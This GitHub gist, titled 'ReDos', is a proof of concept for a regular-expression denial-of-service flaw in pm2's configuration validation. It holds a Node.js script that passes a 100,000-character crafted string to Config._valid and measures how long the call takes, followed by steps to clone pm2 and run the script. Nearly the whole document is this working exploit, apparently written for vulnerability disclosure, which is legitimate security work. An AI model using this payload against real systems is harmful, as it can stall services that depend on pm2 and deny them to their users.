Created
March 31, 2025 13:53
-
-
Save mmmsssttt404/407e2ffe3e0eaa393ad923a86316a385 to your computer and use it in GitHub Desktop.
ReDos
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const config = require('./Config') | |
const schemaEntry = { | |
type: ['array', 'string'] | |
} | |
const value = ""+"a".repeat(100000)+"="; | |
const startTime = performance.now(); | |
const result = config._valid('dummyKey', value, schemaEntry) | |
console.log(result) | |
const endTime = performance.now(); | |
const timeTaken = endTime - startTime; | |
console.log(`time taken: ${timeTaken.toFixed(3)} ms`); | |
// 1.git clone https://github.com/Unitech/pm2.git | |
// 2.create poc.js | |
// 3.node poc.js |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment